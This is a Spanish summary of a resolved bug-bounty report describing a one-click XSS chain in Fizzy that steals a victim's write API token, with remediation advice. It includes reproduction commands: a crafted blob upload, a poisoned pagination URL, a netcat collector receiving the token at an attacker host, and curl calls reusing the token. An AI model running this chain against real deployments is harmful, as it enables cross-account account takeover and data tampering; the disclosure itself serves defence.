Reports
ALTA[XSS]#3943339

XSS de un clic en Fizzy (Basecamp): paginación de Turbo y blobs HTML sin adjuntar para robar un token de escritura

Un atacante con cuenta propia conseguía ejecutar JavaScript en el origen de Fizzy cuando una víctima de otra cuenta abría una URL de tablero público, y con ello crear y exfiltrar un token de escritura de la víctima.

Resumen
Resumen en castellano de un reporte público, no una traducción literal. El código y los comandos se mantienen como en el original.

Resumen

Un investigador documentó una cadena de fallos en Fizzy (producto del programa basecamp) que permitía a un atacante con una cuenta normal ejecutar JavaScript arbitrario en el propio origen de Fizzy contra una víctima autenticada de otra cuenta distinta, con una sola interacción: que la víctima abriera una URL de un tablero público preparada por el atacante. Atacante y víctima no necesitaban compartir cuenta.

Una vez ejecutado el código en el origen de Fizzy, el script creaba en la Identidad global de la víctima un token de acceso de escritura y lo enviaba en claro a un servidor del atacante. Ese token revelaba a qué cuentas pertenecía la víctima y permitía peticiones autenticadas de lectura, escritura y borrado a la API con los permisos de la víctima, sin necesidad de su navegador ni de su cookie de sesión.

El investigador propuso severidad Alta con un CVSS 3.1 de 8.7 (AV:N/AC:L/PR:L/UI:R/S:C/C:H/I:H/A:N). La cadena se reprodujo de principio a fin contra el commit b12e4c52d8eafee19b0167dc5831138f1cfb7103 el 16-08-2026, con dos cuentas independientes del propio investigador y sin modificar el código de Fizzy. El programa marcó el informe como Resolved.

La cadena de fallos

El ataque encadena cinco problemas; ninguno por sí solo bastaría.

1. Parámetros no confiables controlan la URL de paginación. El ayudante de paginación reenviaba todos los parámetros de la petición a url_for de Rails:

def pagination_link(namespace, page_number, ...)
  link_to label, url_for(params.permit!.to_h.merge(page: page_number, **url_params)), ...
end

app/helpers/pagination_helper.rb:13-24

script_name es una opción reservada de generación de URLs en Rails. El atacante la usaba para sustituir el principio de la URL de la "página 2" generada por Fizzy por una ruta de proxy de blobs de Active Storage. Un # codificado al final convertía la ruta del tablero público en un fragmento de cliente, de modo que el navegador terminaba pidiendo el blob en vez de la página 2.

La plantilla del stream de columnas públicas (app/views/public/boards/columns/streams/show.html.erb:13-19) dispara la paginación automática, y app/javascript/controllers/pagination_controller.js:90-105 crea un Turbo Frame cuyo src es esa URL envenenada. Como la URL del ataque terminaba en #stream_column-pagination-link-2, el enlace de paginación quedaba a la vista y el intersection observer ya existente en Fizzy lo cargaba solo: no hacía falta un segundo clic.

2. Un tipo MIME con parámetros esquivaba la comprobación de contenido peligroso de Active Storage. El endpoint normal de subida directa aceptaba un content_type elegido por el atacante. Active Storage decide si un blob debe servirse como binario con una comparación de cadena exacta:

def forcibly_serve_as_binary?
  ActiveStorage.content_types_to_serve_as_binary.include?(content_type)
end

La lista por defecto contiene text/html, pero no text/html;charset=utf-8. Así, la respuesta del proxy se devolvía como:

HTTP/1.1 200 OK
Content-Disposition: attachment; filename="video-exfil.html"
Content-Type: text/html;charset=utf-8

Turbo la trataba como HTML, y el Content-Disposition: attachment no impide que una respuesta a un Turbo Frame se parsee y renderice.

3. Fizzy autorizaba un blob sin adjuntar a una identidad ajena. La extensión de autorización de Active Storage daba acceso a cualquier blob sin adjuntos:

def accessible_to?(user)
  attachments.includes(:record).any? { |attachment| attachment.accessible_to?(user) } || attachments.none?
end

lib/rails_ext/active_storage_authorization.rb:1-4

El atacante dejaba el blob HTML deliberadamente sin adjuntar a ningún registro. Cuando una víctima de otra cuenta abría el tablero público, su Current.identity global satisfacía la autenticación y attachments.none? autorizaba el blob, aunque la víctima no perteneciera a la cuenta del atacante.

4. Turbo activaba el script y le ponía el nonce de la CSP de Fizzy. El blob contenía el Turbo Frame esperado por el controlador de paginación y un <script> en línea. Fizzy usa turbo-rails 2.0.23, y el FrameRenderer de Turbo activa los elementos <script> tras insertar la respuesta del Frame: su activateScriptElement crea un script vivo y le copia el nonce de CSP del documento actual (expuesto por csp_meta_tag). El atacante no necesitaba conocer ni adivinar el nonce.

5. El script creaba y exfiltraba un token de escritura de la víctima. My::AccessTokensController omite la selección de cuenta, guarda los tokens de acceso en Current.identity y devuelve el token en claro en su respuesta JSON (app/controllers/my/access_tokens_controller.rb:4,20-33,47-49). Como la página pública incluye csrf_meta_tags, el script podía enviar un token CSRF válido de la víctima. Además, un token de escritura permite todos los métodos HTTP:

def allows?(method)
  method.in?(%w[ GET HEAD ]) || write?
end

app/models/identity/access_token.rb:7-9

El <script> en línea leía el token CSRF de la página, hacía un POST a /my/access_tokens.json para crear un token con permission: "write" y enviaba el token resultante a un origen controlado por el atacante.

Pasos de reproducción

El investigador lo reprodujo con dos cuentas propias no relacionadas y un despliegue local aislado (S3 mediante un MinIO propio). Resumidos:

  1. Levantar Fizzy en el commit indicado con configuración de producción SaaS y el servicio S3 de Active Storage. Crear: cuenta del atacante /1, cuenta de la víctima /2, un tablero público del atacante con al menos 16 tarjetas (para que exista la página 2 en su ruta columns/stream) y un tablero de la víctima para la prueba de escritura. Mantener a la víctima con sesión iniciada en un perfil de Chrome aparte.
  1. Preparar un HTML de 555 bytes (sin salto de línea final; MD5 en base64 yCDDFKjBAvUTEpu7JW/MYQ==) con el Turbo Frame esperado y el script de robo de token descrito arriba.
  1. Autenticado como atacante, crear un blob sin adjuntar por la API normal de subida directa, declarando el tipo MIME con parámetros:

``bash curl -i -b attacker.cookies \ -H 'Content-Type: application/json' \ -H 'X-CSRF-Token: [REDACTADO]' \ --data-binary '{"blob":{"filename":"video-exfil.html","content_type":"text/html;charset=utf-8","byte_size":555,"checksum":"yCDDFKjBAvUTEpu7JW/MYQ=="}}' \ 'http://app.fizzy.localhost:43080/1/rails/active_storage/direct_uploads' ``

Anotar el signed_id y la URL de subida devueltos. No adjuntar el blob a ningún registro.

  1. Hacer PUT del cuerpo HTML de 555 bytes a la URL de almacenamiento devuelta, con las cabeceras de subida devueltas y Content-Type: text/html;charset=utf-8.
  1. Arrancar un servidor HTTP que haga de recolector del atacante (por ejemplo nc -l 45000) en un origen independiente de Fizzy.
  1. En el perfil de Chrome con la víctima autenticada, abrir una sola vez la URL del tablero del atacante, en la que el parámetro script_name apunta a la ruta de proxy del blob HTML y la URL termina en #stream_column-pagination-link-2:

``text http://app.fizzy.localhost:43080/1/public/boards/ATTACKER_PUBLIC_KEY/columns/stream?script_name=%2F1%2Frails%2Factive_storage%2Fblobs%2Fproxy%2FHTML_SIGNED_ID%2Fvideo-exfil.html%23#stream_column-pagination-link-2 ``

Esperar de dos a cinco segundos sin hacer clic en nada más.

  1. El recolector del atacante recibe el token de escritura de la víctima en claro:

``http GET /collect?token=[REDACTADO] HTTP/1.1 Host: attacker.fizzy.localhost:45000 Referer: http://app.fizzy.localhost:43080/ ``

  1. Usar ese token fuera del navegador de la víctima para consultar su Identidad:

``bash curl -i \ -H 'Authorization: Bearer [REDACTADO]' \ 'http://app.fizzy.localhost:43080/my/identity.json' ``

Responde 200 OK e identifica a la víctima y su cuenta /2.

  1. Demostrar escritura creando una tarjeta en el tablero de la víctima:

``bash curl -i \ -H 'Authorization: Bearer [REDACTADO]' \ -H 'Content-Type: application/json' \ --data-binary '{"card":{"title":"Video E2E proof"}}' \ 'http://app.fizzy.localhost:43080/2/boards/VICTIM_BOARD_ID/cards.json' ``

Responde 201 Created.

  1. Confirmar borrado eliminando esa tarjeta:

``bash curl -i -X DELETE \ -H 'Authorization: Bearer [REDACTADO]' \ 'http://app.fizzy.localhost:43080/2/cards/CREATED_CARD_NUMBER.json' ``

Responde 204 No Content.

En la prueba grabada, el token recibido por el recolector devolvió 200 OK desde /my/identity.json revelando la membresía de cuenta de la víctima, creó la tarjeta #15 con 201 Created y la borró con 204 No Content, todo desde fuera del navegador de la víctima.

Impacto

Un atacante con pocos privilegios y cuenta propia podía comprometer la Identidad de una víctima autenticada de otra cuenta con solo convencerla de abrir una URL de tablero público. No se requería cuenta compartida. El atacante lograba ejecución de JavaScript arbitrario en el origen de Fizzy y la usaba para crear un token bearer de escritura ligado a la Identidad de la víctima, exfiltrarlo a infraestructura propia y reutilizarlo sin acceso al navegador ni a la cookie de la víctima.

El token iba ligado a la Identidad global de la víctima (no a la cuenta ni al tablero del atacante): revelaba sus membresías de cuenta y autorizaba peticiones a la API con los permisos de la víctima, permitiendo leer datos confidenciales y crear, modificar o borrar datos en su nombre. Sigue siendo utilizable con independencia de la sesión del navegador hasta que se revoca. El impacto es, por tanto, compromiso entre cuentas de confidencialidad e integridad con los privilegios de la víctima (C:H/I:H); no se reclama impacto en disponibilidad.

Remediación

El investigador propuso varias medidas combinadas:

  1. Sustituir params.permit! en la generación de URLs de paginación por una lista explícita de parámetros permitidos, sin reenviar opciones de generación de URL de Rails (script_name, host, protocol, port, only_path) ni claves de enrutado (controller, action).
  2. No autorizar un blob solo porque attachments.none?: ligar cada subida directa a la identidad/cuenta que la crea y autorizar un blob sin adjuntar únicamente a ese principal.
  3. Normalizar los tipos MIME recibidos a su tipo de medio antes de compararlos con content_types_to_serve_as_binary y content_types_allowed_inline, y forzar HTML, XML, SVG y blobs sin adjuntar a application/octet-stream en el proxy.
  4. Servir las subidas controladas por el usuario desde un origen aparte sin cookies, que no pueda acceder a las sesiones de Fizzy y esté fuera de script-src.
  5. Añadir una prueba de integración para HTML con MIME parametrizado subido por la ruta de subida directa S3 y devuelto por un Turbo Frame de paginación automática.